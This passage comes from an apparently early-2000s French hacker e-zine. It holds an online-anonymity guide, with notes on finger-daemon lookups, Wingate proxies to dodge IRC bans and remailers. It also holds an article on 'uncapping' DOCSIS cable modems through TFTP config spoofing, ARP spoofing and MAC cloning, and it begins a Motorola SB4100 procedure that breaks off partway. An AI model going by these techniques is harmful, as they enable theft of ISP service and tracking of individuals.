5. Votre FAI.
6. Votre continent.
7. Votre pays.
8. Votre ville.
Et parfois beaucoup plus....

Il  en  est  de  meme  pour  les  jeux  en ligne qui permettent a des joueurs de
regarder  les  adresses  IP  des  autres  joueurs,  la  limite  des informations
rcuperables  est  inversement  proportionnelle a la ngligence d'un utilisateur
a protger son anonymat.

3)  Supposons  que  mon  nom  est  Tahar  Tampion,  et  mon  adresse  email  est
ttampion@fournisseur.relou.fr  Il  est  extremement  facile  de  deviner d'apres
cela  que  la  premiere  lettre  de  mon prnom est T et que mon dernier nom est
Tampion, mais pas forcment...

Certains    FAI  partagent  la  totalit  de  leurs  listes  avec  des  services
d'annuaires  internet.  Ca  veut dire que les gens peuvent aller sur bigfoot.com
ou  whowhere.com,  taper  "ttampion"  ou  chercher un "Tampion" sur la liste des
utilisateurs  du  FAI fournisseur.relou.fr et ainsi dcouvrir le prnom "Tahar".
Mais  il  est  galement  possible  d'employer  ces annuaires internet pour 1001
autres  usages.  Testez  donc sur whowhere.com si votre pseudo / nom prnom sont
pistables.
Note:  vous pouvez eventuellement demander a vous faire supprimer de
leur liste.

4)  Certain  FAI  laissent  tourner un finger daemon. Un daemon est un programme
qui  attend  des  connexions entrantes sur un ou plusieurs ports spcifiques. Le
finger  daemon  est un daemon qui attend des connexions sur le port 79. Une fois
connect,  vous  devez spcifier un nom d'utilisateur existant sur le systeme et
vous  rcuperez  des tonnes d'infos sur l'utilisateur en question. Par exemple :
en  ralisant  que  mon  FAI  laissait  tourner  des  finger  daemon  sur  leurs
serveurs,  j'ai  tout fait pour les forcer a le dsactiver car c'tait un manque
de  respect  de  la vie prive. Maintenant, supposez que vous ne sachiez rien au
sujet  de  ttampion@fournisseur.relou.fr  a  part  l'adresse  email. La premiere
chose  que  vous devriez faire est d'aller a fournisseur.relou.fr sur le port 79
(en  vous  armant  de beaucoup d'espoir ;-) Si le finger daemon est toujours la,
il    est    possible  de  recuperer  les  infos  suivantes  en  tapant  le  nom
d'utilisateur ttampion :

1. Le vrai nom.
2. La derniere fois ou j'tais en ligne.
3. Si ttampion est en ligne en ce moment, depuis combien de temps.
4. Si ttampion a du courrier ou pas.

Et  parfois  c'est  bien plus (certains finger daemon pourraient meme donner des
informations  comme  l'adresse  du  domicile  et  le  numro de tlphone). Sans
tenir  compte  des  utilisations  videntes  (trouver le vrai nom et toute autre
information  prive  d'une  personne),  vous  pouvez  employer cette information
pour diffrents intrets comme:

1.  La  plupart  des messageries instantanes, telles qu'ICQ, AIM, YAHOO et MSN,
vous  permettent  d'ajouter  des  personnes  a  une "liste invisible", ainsi ces
personnes  ne  pourront pas savoir si vous etes en ligne ou pas (ou vous verront
hors  ligne).  S'ils ont votre adresse email, et que votre FAI laisse tourner un
finger  daemon,  ils  peuvent  savoir  si  vous etes vraiment offline ou si vous
etes juste en train d'essayer de les duper.

2.  Votre  ami  vous  a  promis  de  l'aide  sur  le  net, mais quand vous allez
finalement  en  ligne solliciter sa prsence il dit qu'il vient juste de rentrer
du  boulot  et  de se connecter. Un petit coup de finger daemon sur son ISP vous
permettrait de vrifier quand il s'est rellement connect.

Ndt  :  les  finger  daemons  sont  de  plus  en  plus  rares,  mais  comme  les
indiscrtions  des  FAI et des spammeurs s'tendent (LDAP, Mailing listes, Bases
de donnes de clients, etc) le principe reste le meme...

On  va  expliquer  ici  comment  empecher  de trouver des informations sur votre
personne  (il  y aura toujours de nouvelles astuces, mais le fait de bloquer les
plus  basiques  et  fondamentales  de  celles-ci  permettra  de  passer outre la
plupart  des  attaques  et rendra plus dure l'acquisition d'informations par les
plus expriments).

Si  le  sujet vous intresse au point de vouloir passer a la pratique, commencez
par  tudier  l'autre  cot  du probleme en lisant le tutorial "Know your enemy"
qui  explique  comment  rassembler  un  maximum  d'informations sur quelqu'un en
utilisant les ressources du net.



Les proxies
===========
Les  proxies  ont  t  crs  pour  satisfaire  un  besoin d'acclration de la
circulation des donnes sur Internet.

Voici un exemple de comment ils peuvent fonctionner :

Vous  essayez  de  vous  relier a un serveur qui est de l'autre cot du globe, a
priori  la  connexion  ne  devrait  pas  etre  tres  rapide  vu la distance. Vos
demandes  de  HTTP  sont  envoyes  a votre serveur proxy, gnralement situ au
Q.G.  de  votre FAI, et surtout (sauf dans le cas d'AOL) plus proche de vous que
le serveur web distant vers lequel la requete HTTP est destine.

Le  proxy  controle  d'abord  si  oui  ou  non  un  des utilisateurs a rcemment
consult  ce  site  web (controle du cache) et peut agir de deux facons selon le
rsultat :

-  Si  c'est  le  cas,  une copie des documents consults existe dja localement
(en  cache)  sur  un des serveurs proxy du FAI. Alors le serveur proxy ouvre une
connexion  vers  le  serveur  web  distant  mais  seulement pour controler si la
version  locale  du (ou des) document(s) qu'il possede n'est pas prime. Le but
tant  de  comparer  la taille du fichier, sa signature, ou sa date d'expiration
s'il  y  a  lieu  avec  la  copie "cache" qu'il possede dja. Si la comparaison
montre  que  les  deux  fichiers  sont  identiques,  il  vous enverra sa version
locale  qui  arrivera  beaucoup  plus  vite  que la version distante, de ce fait
acclrant le transfer.

-  Si  ca  n'est pas le cas (aucun utilisateur n'a rcemment visit ce site), le
proxy  tlchargera  les  dossiers  demands  par  lui-meme  et  puis  vous  les
transmettra apres les avoir mis en copie locale (mise en cache).

Parce  qu'ils  prennent  en charge toutes les requetes HTTP, les proxies peuvent
galement  etre  utiliss  pour  s'anonymiser  en surfant sur le net. La plupart
des  FAI  ont  un  proxy,  il y a donc de grandes chances pour que le votre soit
egalement  dans  ce  cas.  Vous pouvez vrifier en posant la question au service
technique  ou  en vous livrant a quelques recherches via leur site web. Ceci dit
les  proxies  des  FAI  peuvent galement engendrer certains problemes :
1. tous  les  FAI  n'ont  pas  les  memes systemes de proxies.
2. Le propritaire de site web  peut  quand  meme savoir quel FAI vous  utilisez
et ou vous habitez, puisque ces  proxies  sont  privs et peuvent seulement etre
utiliss par des membres de comptes chez ce meme FAI.

Pour  de  tels  cas,  il  y  a  une  solution : les proxies publics. Vous pouvez
trouver  une  liste  de proxies publics un peu partout sur le net. Contrairement
a  celui  de  votre  FAI,  ceux-ci  ne sont pas obligatoirement censs rendre le
transfer  plus  rapide  (c'est  meme generalement plus lent). Voici trois bonnes
adresses qui constituent un bon point de dpart :

1. http://madchat.org
2. http://tools.rosinstrument.com
3. http://www.theargon.com

Il  ne  reste  plus  qu'a configurer votre brouteur web pour qu'il utilise un de
ces  serveurs  proxy  (la  mthode  peut  varier selon les diffrents browsers).
Note:  quelques  serveurs  proxy prendront galement en charge les sessions ftp,
le telnet, les sockets (certains tant meme spcialiss).



Wingate
=======
Wingate  est  un  programme  qui est employ pour transformer un PC (ayant comme
systeme  Windows  9x  ou  NT)  en un serveur proxy. Voici plusieurs raisons pour
lesquelles    on   voudrait  installer  un  tel  programme  et  transformer  son
ordinateur en passoir... euh.. en proxy:

1. Vouloir installer un proxy pour devenir FAI.
2. Transformer sa machine perso en proxy public.
3.  Donner  l'acces  internet  a un groupe d'ordinateurs d'un reseau local alors
que  seulement  une  machine  peut  etre directement connecte a l'internet (ex:
connexion modem ADSL/Cable).

Dans  ce  dernier cas de figure toutes les machines du reseau local auront comme
parametres  internet  d'utiliser  la  machine  connecte  au  FAI  comme serveur
proxy.  De  cette  facon  toutes  les  machines  du  reseau  local verront leurs
requetes  HTTP  et  FTP  relayes par le proxy au travers d'une seule connexion,
d'un seul modem ou d'un seul compte internet.

Le  probleme  avec  Wingate  ...  hum  ... comment dire .. c'est du vrai gruyere
hehe  En  fait  tout  le monde peut s'y relier en se connectant sur le port 1080
(par  dfaut)  de  l'intrieur comme de l'extrieur, il existe meme des scanners
de  wingate  (voir hackoff12). Bref utilisez plutot Sygate ou Winproxy, ils font
la  meme  chose  mais  sont bien moins brids et permettent de choisir de ne pas
etre un proxy pour tout le monde...

Ces  programmes  peuvent  anonymiser  a  peu  pres  n'importe  quoi,  ainsi tout
programme  pouvant  etre  utilis  derriere  un  firewall  ou  un proxy sock (la
plupart  des  client  IRC,  Chat ou web browsers) se fera un plaisir d'accomplir
la  lourde  tache  de  routage  si on sait lui fournir les parametres appropris
(adresse IP / hostname / port).

Wingate  peut  galement  etre  employ pour entrer dans des channels IRC malgr
le fait d'avoir t banni (en truquant votre IP ;-).

AVERTISSEMENT:  quelques  rseaux  IRC  sont quips les bots qui peuvent kicker
automatiquement   tout  utilisateur  d'un  Wingate.  Ces  bots  essayent  de  se
connecter  alatoirement  aux utilisateurs sur le port 1080 a la recherche d'une
connexion potentiellement relayante.

Vous pouvez trouver des listes de proxies a l'adresse suivante :
http://tools.rosinstrument.com/proxy/

Il  existe  galement  des  tonnes  de scanners de Wingate (voir google, mot-cl
wingatescan)  qui  peuvent  scanner  des sous-rseaux entiers. Ceci dit ca prend
quand  meme  un certain temps, sans oublier que ca peut rendre votre FAI nerveux
ou  soupconneux..  Il  est  plus appropri de se procurer une liste que de se la
constituer soi meme.



Les Remailers Anonymes
======================
On  a  Prcdemment  dmontr  ce qu'une personne avec tres peu de connaissances
peut  dcouvrir  a  votre  sujet  rien  qu'a  partir d'une adresse email. Il est
vident  que  pour  garder  votre  intimit,  vous devrez ouvrir un compte email
gratuit  (ex:  softhome.net,  yahoo.co.uk,  bigfoot.com,  etc..  ').  Et si vous
aviez  une  adresse email gratuite spcialement prvue pour rerouter le courrier
sur  votre  vritable  adresse  email personnelle tout en gardant le silence sur
vos  informations  personnelles  ? On appelle ca un remailer anonyme. La plupart
d'entre  eux  sont  gratuits et vivent de contributions ou de sponsors/bannieres
de  pub.  Ils  sont  malheureusement  associs au spam qui est la rancon a payer
pour  son  anonymat.  Une petite liste de remailers est disponible sur ce site :
http://www.anonymat.org

Voici un bon exemple pour un Remailer anonyme:

Commencez  par  vous  rendre sur http://riot.eu.org/anon/remap.html pour trouver
un  remailer  et  ouvrez-y  un  compte  gratuit. Une fois enregistr, envoyez un
email  a  l'adresse  du robot (ex : robot@anonnyme.isp.eu.org sans sujet avec le
contenu suivant:

user: votre nom d'utilisateur
pass: votre mot de passe
realaddr: l'adresse email du destinataire
realsubj: le sujet du courrier

Exemple:  si  je  veux  envoyer  un  courrier  anonyme avec le contenu suivant a
bgates@microsotte.com :

Sujet: ANONYMAT ROULAIZE!!
Salut.
Mon nom est personne,
qui suis-je et comment me tracesses-tu ?

Il me faudra forger mon courrier comme suit :

user: user
pass: pass
realaddr: bgates@microsotte.com
realsubj: ANONYMAT ROULAIZE!!
Salut.
Mon nom est personne,
qui suis-je et comment me tracesses-tu ?

et l'envoyer a robot@anonnyme.isp.eu.org (sans sujet)

Je  recevrai  par  email un avis d'accus de rception d'anonnyme.isp.eu.org des
que  mon  message  aura  t  livr.  Une fois que le destinataire rpondra a ce
mail, le message me reviendra naturellement.

Note  :  certains  remailers  anonymes  en ligne n'offrent pas la possibilit de
recevoir une rponse.



Le Chiffrage
============
Tout  le  monde  peut  lire votre courrier (potentiellement). La cause peut etre
un  script  kiddie  qui a pirat votre compte hotmail, un cookiller (coinc dans
un  courrier  forg  par  le meme script kiddie) qui a balanc vos droits sur le
compte  POP,  un  glitch,  un  routeur  mal protg, un FAI peu scrupuleux, etc,
etc..  Si  vous  ne  voulez  pas  que  d'autres  lisent votre email, utilisez le
chiffrement  GPG.  Ceux  qui  utilisent GPG peuvent gnrer leur propre cl. Une
clef  GPG  peut  se  voir  comme des tonnes de caracteres (chiffres, symboles ou
lettres,  majuscules  ou  minuscules)  mis bout a bout. Une fois la cl gnre,
il  devient  possible  d'envoyer  des  courriers chiffrs. Le correspondant peut
utiliser la cl pour dchiffrer le message et en lire clairement le contenu.

Plus d'infos sur http://www.gnupg.org

Note  :  le  chiffrage  GPG  est  un gros chiffrage et peut seulement etre cass
avec  des  tres_tres  gros  ordinateurs. Plus la cl gnre est longue, et plus
il sera difficile d'en casser le chiffrage.



Les cookies
===========
Avez-vous  remarqu  comme  tous  ces  site  webs  deviennent  soudainement tres
intelligents  (et  surtout  indiscrets) ? Ils se mettent a retenir votre pseudo,
connaissent  la  date de votre derniere visite, peuvent enregistrer votre mot de
passe, la liste de vos articles dans un caddie, etc, etc

Eh  bien  tout  ca  c'est  une  histoire  de biscuits, plus vulgairement appels
cookies.  Les  cookies  sont  de petits fichiers qu'un site web peut faire crer
par  votre  brouteur pour lui permettre d'y stocker des informations temporaires
qu'il   pourra  mettre  a  disposition  de  ce  meme  site  lors  d'une  requete
ulterieure.  Un  site  web  peut  y stocker votre mot de passe (encrypt dans le
meilleur  des  cas), en fait il peut y stocker a peu pres n'importe quelle autre
information  qui ne depasse pas un taille raisonnable.

Sur  une  machine  partage,  il  est  judicieux  de supprimer rgulierement les
cookies  dont  vous  n'avez pas essentiellement besoin si vous ne voulez pas que
les  autres  utilisateurs  puissent accder a des informations sur les sites que
vous  avez  visits,  les  articles  que  vous avez achets, les emails que vous
avez lu, etc, etc.

Sur  les  machinez  X, les cookies sont habituellement stocks quelque part dans
votre  rep  local  (ex:  /home/tobozo  ou /usr/tobozo ou /usr/local/tobozo). Sur
zindows  et  mac,  les  cookies sont stocks dans le meme sous-rpertoire que le
dossier  ou  se  trouve  le  brouteur  (ou  dans un dossier spcifique selon les
version des OS).

Note  1:  vous  pouvez  configurer  votre brouteur afin qu'il vous demande avant
d'accepter  un  cookie.  Un rapide coup d'oeil dans le menu des prfrences vous
permettra de trouver cette option (qui peut varier selon les versions).

Note  2:  si  vous etes dans un cybercaf ou une universit, n'enregistrez aucun
cookie,  car  sinon  d'autres  personnes seront en mesure d'y accder et de s'en
servir,  regarderont  vos  cookies,  posteront  de  divers site webs grace a vos
mots de passe, votre pseudo, votre numro de carte de crdit.

Il  faut  savoir  que  la  plupart  de ces sites web exigeront de votre brouteur
qu'il  accepte  les  cookies  avant  d'en  autoriser  l'acces.  En outre, il est
galement  recommand  de  prendre  garde  a l'historique de vos visites, autant
qu'a  votre  fichier  perso  preferences.js  parce qu'ils peuvent renseigner sur
vos habitudes de lecture (l'age du capitaine, ou vous avez t, etc.. ').



Les fichiers .chk?
==================
Saviez  vous  que tout redmarrage rapide de zindows 9x gnere un fichier appel
FILE0001.chk,  FILE0002.chk  etc.. '(habituellement trouv sur: c ). Vous seriez
stupfaits    de  voir  combien  d'information  vous  pouvez  trouver  dans  ces
fichiers! Supprimez-les AUSSITT QUE POSSIBLE!



L'Anonymizer?
=============
L'Anonymizer  est  un  service d'Internet que vous aide a mieux vous anonymizer.
L'adresse  du  site  de  rfrence en anonyming est www.anonymizer.com mais sous
le  poids  de  la  demande  il  ont  t  obligs  (!)  de rendre leurs services
payants...  Nombreux  sont  les  autres  services  d'anonymizing  gratuit (si la
force est avec  vous) mais courte est leur dure de vie.

L'inscription  peut  etre  gratuite  ou  payante  selon  le  niveau  d'anonymit
recherch et la disponibilit de ces services.



Ou puis-je en savoir plus sur l'Anonymat?
=========================================
Les URLs utiles:
http://www.google.fr
http://www.gnupg.org
http://www.anonymat.org
http://www.bugbrother.com
http://anonymizer.secuser.com
http://anonymity.tuxfamily.org



Annexe A: Utilisation d'Altavista comme proxy
=========
Allez directement a l'URL suivante: http://babel.altavista.com/tr?
Vous  pouvez  demander  a  babelfish  de traduire des pages pour vous, mais vous
pouvez  galement  employer  ce site comme proxy ;-)) Le script de traduction du
moteur cgi d'Altavista rcupere la page pour vous.



Annexe B: Le mode +X
=========
Sur  IRC,  il  est  possible de se mettre en mode +X en tapant '/pseudo +x. Ceci
indique  au  serveur  IRC  de  masquer  votre  IP, ainsi quand d'autres essayent
/WHOIS  ou  /DNS  sur  vous,  ils  ne pourront pas obtenir votre IP (au pire ils
obtiendront  une IP partielle).

Ceci  marchera  seulement  sur  quelques  serveurs,  mais sur IRC, on recommande
d'employer  cette  option.  En  outre,  il y a une maniere de dtourner ceci. En
crant  simplement  une  connexion  DCC  avec  quelqu'un  d'autre  (dialogue  ou
transfer  de  fichier  en  DCC), avec un 'netstat 'en ligne de commande (ou sous
dos) on peut facilement visualiser l'ip dans la liste des connexions ouvertes.



Annexe C: Le mode parano
=========
N'utilisez  pas  l'internet  comme moyen de communication directe. Cela implique
de  jeter  a  la corbeille tout programme de messagerie en temps rel (y compris
IRC),  de  n'utiliser  que  des  clients  mail  en mode texte, d'etre son propre
serveur  de  courrier  et  de  se  relayer sur des remailers anonymes. Surfez en
utilisant  des  proxies  en  chaine, fuyez les sites qui obligent a accepter les
cookies, ne  faites confiance a personne, meme pas a vous meme.






        tobozo@madchat.org

`,,`,,`,,``,,`,,`,

























              _   ____________________________________   _
-8-            `^*;:,.>     Uncapping DOCSIS   <.,:;*^`
_____________________/tobozo\_____________________
`,,`,,`,,``,,`,,`,
16/6/2002
Dimanche 16 juin 2002, l3:37

Cette  doc  est  le  fruit  de  recherches  personnelles  ayant pour rsultat un
recoupement   d'informations  provenant  de  plusieurs  sources  (forum,  email,
newsgroups,  papier)  et  dans  plusieurs  langues (anglais, allemand, polonais,
russe).  C'est  aussi  un nid a phrases biscornues (comme la prcdente) n'ayant
pour  but  que de forcer le lecteur a relire au moins deux fois. Les motivations
qui    ont    pouss   les  recherches  et  la  traduction  sont  le  manque  de
centralisation  des  donnes  concernant  les  informations  recherches dans le
cadre de la rponse a la question initialement pose :
  "Est ce possible d'Uncapper (Dplomber) un modem cable ?"
et dont la rponse n'est malheureusement pas 42 ;-((
Il  se  peut  donc  que  certaines  informations soient errones ou primes. Un
rcapitulatif  des  adresses  internet cites est disponible dans l'annexe. Tout
commentaire  sur  les  eventuelles  erreurs recopies (ou insres) est bienvenu
du moment qu'il n'est pas trop flatteur (dixit moliere).


        1) Petit tour d'horizon
        2) Les faits
        3) Les mthodes
        4) Cas pratiques
        5) Infos dans le desordre
        6) Annexe


1) Petit tour d'horizon
-----------------------
Le  Dplombage  de  MC  (CM  Uncapping) fait rfrence au concept d'augmenter la
largeur  la  bande  passante  des modem cable (MC), gnralement limits par les
FAI  qui  les  imposent.  Le  bricolage consiste a faire sauter ces limites afin
d'obtenir  une  qualit  de  services  suprieure a celle pour laquelle le modem
cable  (MC)  a  t  configur. Certains accros a la bande passante raffolent de
ce  genre  de  bidouille  car  cela  leur  permet d'augmenter la vitesse de leur
modem  cable  (MC)  et  de  satisfaire  ainsi leur soif grandissante de traffic,
mais  il  s'agit  evidemment  d'un  vol  de  services  et  cela  peut  avoir des
consquences    tres    dplaisantes    (larval   stage,  911,  see  STORMS,  no
precipitations)  comme  la  rsiliation  sans pravis de l'abonnement voire meme
des poursuites judiciaires.




2) Les faits
------------
DOCSIS : Data Over Cable Service Interface Specification

Le  standard  DOCSIS  spcifie  en dtails comment les Modem Cable sont supposs
fonctionner.  Quelques  documents intrssants sur le sujet peuvent etre trouvs
a ces adresses :

http://www.gi.com/noflash/docsis.html
http://www.cablemodem.com/documents.html
http://www.ietf.org/proceedings/98mar/slides/ipcdn-fijolek/index.htm





3) Les mthodes
---------------
Si  on  se  fie  aux  rumeurs et aux posts anonymes, les methodes sont myriades.
Beaucoup  ont  l'air  de  confondre les modem cable est les modems DSL, pourtant
diffrents par  bien  des  aspects,  et  pourtant  les  methodes  ne sont pas si
loignes. Donc ce document ne traite PAS les cas des modems ADSL/DSL.


TFTP
****
La  mthode  propose  est  de monter un fichier de config DOCSIS sur un serveur
TFTP  connect  du  cot  ethernet sur le MC et de le duper en le forcant a lire
ce  fichier  de  l'interieur  du  reseau  ethernet et non de l'exterieur du cot
cable.  Toute  la  mthode  dtaille (uniquement sur windows2000) est dispo sur
un site qui change souvent d'hebergeur :
http://www.surfboardhack.com

Rsum :
TFTP  est un protocole qui permet au MC d'aller chercher sa configuration sur un
serveur du FAI au moment du dmarrage.
Un  petit  coup  de  spoofing  ARP  suffit  a  faire croire au MC que la machine
locale est celle du serveur TFTP du FAI.

Dans  les  specifications  DOCSIS,  un  modem  n'est pas cens pouvoir faire ca,
mais  si  on  se  refere a plusieurs sources anonymes, c'est quand meme possible
sur  certains  modems Motorola grace a ce qui pourrait etre dcrit comme un bug.

Pourquoi  est  ce  vraiment  possible?  Lors  du  developpement du firmware d'un
modem  cable  il  est  tres  tentant (et souvent ncssaire) d'autoriser le MC a
booter  sans  que  la  partie  cable  soit  connecte.  Cela permet de debugguer
certains  cas  de  figure qui ne seraient ni possibles ni pratiques a reproduire
en  laboratoire.  Il  en  dcoule  que  tous les MC a un moment de leur cycle de
dveloppement  ont  cette  caractristique  de  pouvoir  dmarrer  (et  lire  le
fichier  de  config)  depuis  le  cot ethernet. Ceci n'tant videmment pas une
option volontairement ajoute dans la version du firmware livre avec.

Les  constructeurs  utilisent  diffrentes  mthodes pour basculer du mode debug
en  mode  commercialisation  du  firmware. Une approche consiste a avoir le mode
debug  prsent  dans  le  firmware  et  d'en  bloquer l'acces lors de la mise en
circulation.  Il  peut s'agir d'une valeur spciale dans la mmoire non volatile
comme  d'un  jumper,  d'un short sur la carte logique du modem, d'une resistance
0R  supprime  lors  de  la  mise  en  circulation,  ou bien d'une autre mthode
propritaire  pouvant  changer  selon  le  modele  du MC. Une autre approche est
d'avoir  deux  versions  diffrentes du firmware, l'une avec et le mode debug et
l'autre  sans.  Souvent  les  deux versions sont compiles a partir de meme code
source avec des variations sur les commutateur de compilation du build.

Si  par  un moyen ou par un autre un utilisateur arrive a basculer en mode debug
ou  utilise  un  bug  et  obtient  le  meme  rsultat,  alors  cette  mthode de
dplombage a un fort taux de probabilit de russite sur la plupart des MC.

Les  auteurs  du  projet  DOCSIS  (disponible  au  supermarch de l'open source)
dcrivent  la  situation  comme  suit  :  "La  mthode la plus connue pour faire
sauter  les  limitations  d'un  modem  de  type Docsis consiste a duper le modem
afin  de  lui  faire  downloader  le  fichier  de configuration a partir du port
ethernet,  exploitant  ainsi  l'avantage  que  certains  FAI  n'activent  pas le
controle  d'authentification  (Message Integrity Check) au niveau du modem. Il y
a  au  moins  une  marque  connue sur laquelle ceci a t prouv mais la ralit
est  que  beaucoup  d'autres  marques  seraient  galement  permables  a  cette
mthode."

Tous  (ou  presque  tous) les modems sont quips d'un shell pour des raisons de
debuggage.  Il  s'agit  typiquement  d'une  interface  par  ligne  de commande a
laquelle  on  peut  se  connecter  en  utilisant  un modem ou un terminal srie.
Certains  modems  ont  meme  un  serveur  http  qui  permet d'accder a certains
parametres via le browser.

On  trouve  habituellement  deux  ou  trois  versions du shell. La premiere (web
based)  est  prvue  pour  les  utilisateurs  finaux.  Les  techniciens du cable
peuvent  avoir  acces  a  des  donnes  plus dtailles durant les manipulations
d'installation,  mais  restent  totalement incapables de modifier les parametres
DOCSIS.  Lors  du  dveloppement  du firmware, les ingnieurs auront un controle
total  sur  tous les parametres internes du modem cable par le shell. La version
distribue  du  modem  ne  sera alors pas autorise a accepter des commandes qui
peuvent  influencer  les  parametres DOCSIS, alors que la version debug utilise
par les ingnieurs (en laboratoire) n'aura pas ces limitations.


Shell Actif
***********
La  mthode  de  dplombage  qui  consiste  a utiliser une version avec le shell
activ  part  du  principe  qu'on  arrive a se procurer ce firmware afin d'aller
modifier  certains  parametres  comme la classe du service (upstream, cap, etc),
le  numero  de  serie et l'adresse MAC du modem (vol d'adresse a un autre user),
et  le  blocage de la mise a jour automatique du firmware (chose que le FAI peut
modifier  a  volont  par  simple remplacement de fichier sur le serveur TFTP en
changeant  la  valeur de l'entree "Software Upgrade Filename" dans le fichier de
config).

Comment  se  procurer  ce  firmware  ?  A  priori il existe tres peu de docs qui
expliquent  comment  y  arriver,  mais ca n'est pas dans cet article que ca sera
expliqu  (et  encore  moins dans une agence de recrutement hehe). Au lieu de ca
on  peut  se  concentrer  sur  la possibilit de faire basculer le shell en mode
debug  en  utilisant des methodes tres proches de celle qu'utilise le FAI plutot
que  de  partir  a  la  chasse d'individus travaillant ou ayant t virs par un
des  distributeurs  des  modem  cables.  La fuite pourrait prendre la forme d'un
fichier binaire utilisable pour flasher le modem.

Le  modem  cable n'est pas autoris a recevoir de mises a jour du cot ethernet,
sauf  durant  le  dveloppement  du  firmware,  il  est  donc possible (mais peu
probable)  dans  certains  cas  de  pouvoir  y arriver outre mesure. Avec le bon
equipement,  le  priphrique  flashable  peut  etre extrait de la carte mere du
modem,  lu,  reprogramm, et remis en place. Cela correspond exactement a un des
exercices   auquel  les  ingnieurs  s'affairent  dans  le  cadre  de  tests  de
corruption de la mmoire flash.


Fausse MAC
**********
La  mthode  de dplombage qui consiste a produire une fausse adresse MAC sur la
partie  cable  du  modem  (et souvent aussi le numro de srie) est galement un
vol  de  services,  mais comme deux MC seront en ligne avec la meme adresse MAC,
l'un  des  deux  se fera dconnecter et logguera l'erreur, et conscutivement le
FAI aura connaissance de l'evenement.

Comment  un  utilisateur  peut  il  changer  l'adresse  MAC  du cot cable ? Une
methode  est  d'utiliser  la version debug du firmware avec le shell actif comme
dcrit    plus  haut,  une  autre  mthode  serait  d'extraire  le  priphrique
flashable  de  la carte logique du modem et de la reprogrammer. Ceci rclame pas
mal  d'quipement,  mais  meme  un electronicien dbutant peut le faire. Presque
tous  les  modems ont pu avoir leur adresse MAC parametrable a un moment de leur
cycle  de  production.  Avec  un  ICT  (In-Circuit  Tester)  quip  d'un  socle
spcifique    au   modele  du  modem  cable,  au  travers  du  shell  (avant  la
dsactivation a l'usine) ou une autre approche.

Ici  la  cl  est que le nombre de priphriques ou fouiller est assez restreint
(flash  ou  eeprom).  Trouver  l'adresse  MAC dans le contenu du priphrique de
stockage  est  aussi une opration assez simple, d'autant plus que l'adresse MAC
est  aussi  gnralement  imprime  sur  un  autocollant  ou  sur  une  plaque a
l'arriere du modem.


Collectionneur d'IP
*******************
La  mthode  de dplombage de l'accumulation d'IP repose sur l'ide que certains
FAI  ne  valident  pas  les  IP sur les routeurs mais limitent la bande passante
sur  la  base de l'IP. Si un utilisateur trouve des IP inutilises (ou s'amuse a
les  nuker),  il  devient  possible  d'utiliser  leurs IP et leur bande passante
sans  avoir  a  se  soucier  de DHCP et des limites de bande passante qu'il peut
transmettre.  Il  ne s'agit pas vraiment de dplombage mais l'effet est le meme.

Une  facon  d'imposer  leur  plombage  (pour  les  modems DOCSIS) sur les petits
utilisateurs  est  de parametrer le fichier de config pour que le modem gere lui
meme sa bande passante en upload.

A  l'aide  d'un  service  d'aggrgation (ex : Nortel Shasta, Redback Networks ou
Cisco),  la  bande  passante  peut aussi etre limite au niveau du routeur. Cela
peut  etre  effectu en dfinissant des tunnels (PPPoE ou similaire) pour chaque
modem  cable  au  travers  du  routeur,  et  d'appliquer le plombage de la bande
passante individuellement sur chaque tunnel.

Cette  methode  ne  fonctionne  que  chez  les  FAI  qui utilisent l'approche du
routeur dans un but limitatif pour le traffic.




4) Cas Pratique
---------------

Le Motorola SB4100
******************
Le  fichier  de  config  est  un  fichier  binaire  dans un format bien spcifi
(comme  par  exemple  le md5 eh eh eh) qui ne peut etre dit qu'avec un diteur
spcial  de  configuration  (en  distribution  dans  la grande surface de l'open
source).  Il  est vident que ce logiciel n'est pas destin au public, mais il a
le  grand  mrite  de  ne rien contenir d'illgal. http://docsis.sourceforge.net
et  http://sourceforge.net/projects/docsis  pour  les dernieres nouvelles sur ce
logiciel  et  la  version  en  cours.  Ce  logiciel requiert d'avoir la derniere
version de ucd/net-snmp (http://www.net-snmp.org).

Pour  zindoz  il  existe un programme qui s'appelle QUERY.EXE, c'est un logiciel
de  requete  de  paquet  BOOTP,  et qui livrera tous les prcieux renseignements
ncssaires  pour  appliquer une des mthodes dcrites plus bas, comme le nom de
l'image  et  l'adresse  du serveur TFTP (qui sont tout ce dont on a besoin comme
point de dpart dans cette tude).
http://www.weird-solutions.com/_bin/bootpq.exe

Le  fichier  binaire est encrypt avec une cl MD5 avant de transmettre au modem
des parametres de configuration comme le  MaxRateDown et le MaxRateUp (en Kbps).
L'outil  BOOTP  QUERY  aura  besoin  de  l'adresse  MAC du modem (au dos sur une
tiquette).

D'apres  un  article  vu  dans  un  forum  "Ca  marche  sur  les modems Motorola
Surfboard  (docsis)  et  ca  marchera  probablement aussi sur les autres modeles
docsis".

On  a  donc  men  notre  petite  enquete  et voici une procdure qui fonctionne
quand le SB4100 est reli directement a la machine :

Il faut Tlcharger et installer un serveur tftp
 http://ftp.us.debian.org/debian/pool/main/n/netkit-tftp/
 http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/
 http://www.walusoft.co.uk/tftp.htm

Puis  s'assurer  que  l'application est installe en mode SERVEUR et non en mode
CLIENT.

Visiter    l'adresse   http://192.168.100.1/address.html  pour  voir  les  infos
intressantes  qui  s'y  trouvent  (comme  l'adresse  IP  du  serveur DHCP -> 6e
colonne  si  ca  marche).  En  cas  d'chec il est possible de trouver ces infos
dans  les  proprits  tcp/ip de la connexion en cours sur le PC reli au modem.
Cela  peut  impliquer  d'installer  un  outil  de  capture  pour  surveiller les
paquets entrants et les envois/retours de requetes BOOTP et DHCP.

Changer  l'IP  du  PC  et  attribuer  l'IP du serveur DHCP, avec comme masque de
sous  reseau  255.255.255.0,  la passerelle par dfaut sur la meme IP. Cela veut
dire  que  la  passerelle  par  dfaut  et l'adresse IP du PC seront la meme que
celle  du  serveur  DHCP  et que le masque de sous rseau sera 255.255.255.0. Le
port  statique  UDP  pour  TFTP  est le port 69, mais la plupart des modem cable
vont  faire  la  requete du paquet sur le port 1025 UDP, il faut donc dsactiver
la  scurit  a  tout prix avant de modifier les infos de la connexion : Adresse
IP : (l'adresse ip recuperee)

Masque de sous-rseau: 255.255.255.0

Si  ca  ne marche pas retenter l'opration en mettant l'adresse de la Passerelle
sur 192.168.100.1

Lancer  le  serveur  TFTP (avec l'adresse IP dernierement attribue manuellement
en concordance avec celle du DHCP).

Lancer un ping permanent sur la meme adresse IP (he oui toujours la meme) :
ping xxx.xxx.xxx.xxx -t

Attendre    une  quinzaine  de  rponses  avant  de  passer  a  la  suite  (sans
interrompre les ping).

